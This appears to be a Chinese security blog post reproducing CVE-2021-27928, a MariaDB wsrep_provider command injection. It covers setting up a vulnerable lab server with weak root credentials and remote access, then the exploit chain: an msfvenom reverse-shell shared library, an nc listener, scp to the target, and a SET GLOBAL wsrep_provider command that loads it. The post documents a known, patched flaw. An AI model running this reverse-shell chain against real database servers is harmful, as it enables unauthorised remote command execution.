Loading [MathJax]/jax/output/CommonHTML/config.js
首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
MCP广场
社区首页 >专栏 >CVE-2021-27928:MariaDB/MySQL-wsrep provider命令注入漏洞

CVE-2021-27928:MariaDB/MySQL-wsrep provider命令注入漏洞

作者头像
Al1ex
发布于 2021-07-21 08:57:42
发布于 2021-07-21 08:57:42
3.6K11
代码可运行
举报
文章被收录于专栏:网络安全攻防网络安全攻防
运行总次数:1
代码可运行
影响范围
  • MariaDB 10.2 before 10.2.37
  • MariaDB 10.3 before 10.3.28
  • MariaDB 10.4 before 10.4.18
  • MariaDB 10.5 before 10.5.9
漏洞类型

命令注入漏洞

利用条件

数据库超级用户

漏洞概述

2021年3月17号,MariaDB官方发布的安全通告中修复了一处命令注入漏洞,具备数据库超级用户可以在修改wsrep_provider和wsrep_notify_cmd后执行OS命令。

漏洞复现
环境搭建

首先,访问Mariadb官方下载存在漏洞版本的安装包:

https://downloads.mariadb.org/mariadb/10.3.27/

之后将下载好的文件传到服务器上:

在安装包所在目录执行以下命令把安装包解压到/usr/local目录下

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
sudo tar xvf mariadb-10.3.27-linux-x86_64.tar.gz -C /usr/local

之后进入到解压文件目录中

这里的mariadb的目录名不符合要求,我们可以直接修改名字,也可以创建一个软连接,这里采用软连接方式:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
sudo ln -s mariadb-10.3.27-linux-x86_64/ mysql

之后创建mysql用户

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
删除用户:userdel mysql
删除用户组:groupdel mysql
删除邮箱:rm -rf /var/spool/mail/mysql
创建mysql用户组:useradd -s /sbin/nologin -M mysql

之后赋予用户权限:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
sudo chown -R mysql:mysql .

指定数据库文件目录

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
sudo mkdir /usr/maria_data
sudo chown -R mysql:mysql /usr/maria_data

初始化数据库(操作路径/usr/local/mysql)

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
sudo ./scripts/mysql_install_db --user=mysql --datadir=/usr/maria_data

配置启动脚本(操作路径/usr/local/mysql)

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
cp ./support-files/mysql.server /etc/init.d/mysqld
chmod +x /etc/init.d/mysqld

编辑配置脚本,填写一下内容:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
basedir=/usr/local/mysql
datadir=/usr/maria_data

配置环境变量:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
echo 'export PATH=/usr/local/mysql/bin:$PATH' >  /etc/profile.d/mysql.sh
source /etc/profile.d/mysql.sh

进入/usr/local/mysql/support-files找到配置文件wsrep.cnf,添加如下内容

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
log_bin=mysql-bin
skip_name_resolve=on

启动服务:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
sysv-rc-conf mysqld on

设置数据库密码以及允许远程登录

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
#选择mysql 数据库
use mysql;


#更改 root 用户密码
update user set password=PASSWORD("root")where user="root";


#更新权限
flush privileges;


#设置任何远程主机都可以访问数据库
GRANT ALL PRIVILEGES ON *.* TO 'root'@'%' IDENTIFIED BY 'root' WITH GRANT OPTION;


#更新权限
flush privileges;

测试远程访问:

漏洞利用

Step 1:使用MSF生成载荷

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
msfvenom -p linux/x64/shell_reverse_tcp LHOST=<ip> LPORT=<port> -f elf-so -o CVE-2021-27928.so
msfvenom -p linux/x64/shell_reverse_tcp LHOST=192.168.174.129 LPORT=4444 -f elf-so -o CVE-2021-27928.so

Step 2:开启NC监听

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
nc -lvp <port>
nc -lvp 4444

Step 3:将payload复制到目标主机(可以通过SCP或SSH方式)

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
scp CVE-2021-27928.so <user>@<ip>:/tmp/CVE-2021-27928.so
scp CVE-2021-27928.so ubuntu@192.168.174.166:/tmp/CVE-2021-27928.so

Step 4:执行以下命令,之后成功反弹shell回来:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
mysql -u root -p -h 192.168.174.166 -e 'SET GLOBAL wsrep_provider="/tmp/CVE-2021-27928.so";'
安全建议

升级到安全版本

参考链接

https://www.exploit-db.com/exploits/49765

https://jira.mariadb.org/browse/MDEV-25179

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-27928

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2021-04-15,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 七芒星实验室 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
1 条评论
热度
最新
感谢
感谢
回复回复点赞举报
推荐阅读
编辑精选文章
换一批
CVE-2021-27928:MariaDB/MySQL-wsrep provider命令注入
2021年3月17号,MariaDB官方发布的安全通告中修复了一处命令注入漏洞,具备数据库超级用户可以在修改wsrep_provider和wsrep_notify_cmd后执行OS命令。
Al1ex
2021/04/16
3.1K0
CVE-2021-27928:MariaDB/MySQL-wsrep provider命令注入
Linux上mariadb的安装与配置
官网:https://downloads.mariadb.org/mariadb/repositories/
菲宇
2019/06/12
4.6K0
Linux上mariadb的安装与配置
linux二进制安装MariaDB
无废话 立刻开始 第一步:准备账号 [root@centos7 ~]#getent passwd mysql //查看有没有mysql账号(没有的话需要创建) [root@centos7 ~]#useradd -r mysql -s /sbin/nologin //创建系统账号 shell类型为nologin [root@centos7 ~]#getent passwd mysql mysql:x:988:983::/home/mysql:/sbin/nologin [
咻一咻
2020/05/29
1.9K0
MySQL安装
误入歧途
2024/05/08
3070
【干货 | 原创 】MySQL/MariaDB数据库基于SSL实现主从复制
前言 备份数据库是生产环境中的首要任务,重中之重,有时候不得不通过网络进行数据库的复制,由于 MySQL/MariaDB的主从复制是明文传送的,如果在生产环境中跨网络传送,数据的安全性就无法完全保证
小小科
2018/05/04
8860
【干货 | 原创 】MySQL/MariaDB数据库基于SSL实现主从复制
关于 ManageEngine ServiceDesk Plus CVE-2021-44077 的概念利用证明
CVE-2021-44077 的概念利用证明:ManageEngine ServiceDesk Plus < 11306 中的 PreAuth RCE
Khan安全团队
2021/12/16
1K0
CVE-2021-1675/34527:Windows Print Spooler权限提升复现
Windows Print Spooler是Windows的打印机后台处理程序,广泛的应用于各种内网中。
Timeline Sec
2021/08/20
3.6K1
【MySQL】MariaDB Galera Cluster(mariadb10.1.22)部署
Galera Cluster是MariaDB的一个双活多主集群,其可以使得MariDB的所有节点保持同步,Galera为MariaDB提供了同步复制(相对于原生的异步复制),因此其可以保证HA,且其当前仅支持XtraDB/InnoDB存储引擎(扩展支持MyISAM),并且只可在Linux下使用。 从MariaDB 10.1开始,在Galera Cluster中默认已经包含了wsrep API。在MariaDB 10.0和MariaDB 5.5时还是独立的,所以在安装部署上可能会有所不同,具体看MariaDB官方介绍。
用户5522200
2019/06/02
2.2K0
linux环境安装mariadb,linux环境下安装Mariadb
mariadb是属于mysql的一个分支,是其创始人在mysql被卖给oracle之后重新分出来的,maria取自于他女儿的名字。mariadb完全兼容于mysql,在很多新版本的linux系统中,mysql都已经被替换成了mariadb。
全栈程序员站长
2022/06/27
33.9K0
linux环境安装mariadb,linux环境下安装Mariadb
使用Galera部署MariaDB集群
使用Galera进行MariaDB复制可为站点数据库添加冗余。通过数据库复制,多个服务器充当数据库集群。数据库群集对于高可用性网站配置特别有用。本教程使用三个单独的腾讯云CVM服务器来配置数据库复制,并创建相关数据库集群。
圣人惠好可爱
2018/08/20
1.3K0
麒麟 V10 SP2 系统 二进制包安装MySQL 8.0.30
Select Operating System 选择Linux-Generic,Select OS Version 中有两选择,第一个是选择glibc2.12(X86_64),第二个是选择glibc2.17(X86_64)
Kevin song
2022/11/19
2.7K0
麒麟 V10 SP2 系统 二进制包安装MySQL 8.0.30
RaspberryPi(树莓派)如何安装 MariaDB / MySQL 数据库
这是因为你的安装服务器只绑定了能够本地访问,你需要修改配置,让你的服务器能够支持远程访问。
HoneyMoose
2020/04/05
2.9K0
RaspberryPi(树莓派)如何安装 MariaDB / MySQL 数据库
CentOS7.4上快速安装MySQL5.6
[root@VM_82_178_CentOS scripts]# cat /etc/RedHat-release CentOS Linux release 7.4.1708 (Core) 磁盘伪云盘40G 内存为2G
星哥玩云
2022/08/16
4300
Corosync + Pacemaker 搭建高可用MariaDB服务
实验描述 本实验的目的是为了通过手动配置corosync配置文件,实现MariaDB服务的高可用,集群心跳传递使用组播方式。 三个节点的主机名分别为:node5.redhat.com、node6.redhat.com、node7.redhat.com。地址为172.16.100.5、172.16.100.6、172.16.100.7。 利用nfs做后端存储,NFS地址为172.16.0.254。 VIP地址为172.16.100.100 三个节点系统全部为CentOS7.2,NFS节点为CentOS6.5。
小小科
2018/05/04
1.9K0
Corosync + Pacemaker 搭建高可用MariaDB服务
CentOS 7.2编译安装MariaDB-10.0.xx
------------------------------------------分割线------------------------------------------
星哥玩云
2022/08/13
5280
11.6 MariaDB安装
安装mariadb cd /usr/local/src wget https://downloads.mariadb.com/MariaDB/mariadb-10.2.6/bintar-linux-glibc_214-x86_64/mariadb-10.2.6-linux-glibc_214-x86_64.tar.gz tar zxvf mariadb-10.2.6-linux-glibc_214-x86_64.tar.gz mv mariadb-10.2.6-linux-glibc_214-x86_64
运维小白
2018/02/06
1.1K0
Windows Print Spooler 远程代码执行漏洞(CVE-2021-1675)
Microsoft Windows Print Spooler 服务未能限制对RpcAddPrinterDriverEx()函数的访问,该函数可能允许远程身份验证的攻击者以系统权限在易受攻击的系统上执行任意代码。
乌鸦安全
2021/08/05
1.5K0
Windows Print Spooler 远程代码执行漏洞(CVE-2021-1675)
CentOS 7.2下安装PXC 5.7.21
https://www.percona.com/downloads/Percona-XtraDB-Cluster-57/LATEST/
星哥玩云
2022/08/17
4190
【权限提升】Linux系统&辅助项目&脏牛&Dirty&内核漏洞&SUID&GUID
GitHub - liamg/traitor: :arrow_up: :fire: Automatic Linux privesc via exploitation of low-hanging fruit e.g. gtfobins, pwnkit, dirty pipe, +w docker.sock
没事就要多学习
2024/07/18
2560
【权限提升】Linux系统&辅助项目&脏牛&Dirty&内核漏洞&SUID&GUID
MariaDB Galera集群入门教程
MariaDB数据库管理系统是MySQL的一个分支,主要由开源社区在维护,采用GPL授权许可。开发这个分支的原因之一是:甲骨文公司收购了MySQL后,有将MySQL闭源的潜在风险,因此社区采用分支的方式来避开这个风险。MariaDB的目的是完全兼容MySQL,包括API和命令行,使之能轻松成为MySQL的代替品。在存储引擎方面,10.0.9版起使用XtraDB来代替MySQL的InnoDB。
彼岸轮回
2018/08/02
2.3K0
相关推荐
CVE-2021-27928:MariaDB/MySQL-wsrep provider命令注入
更多 >
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档
本文部分代码块支持一键运行,欢迎体验
本文部分代码块支持一键运行,欢迎体验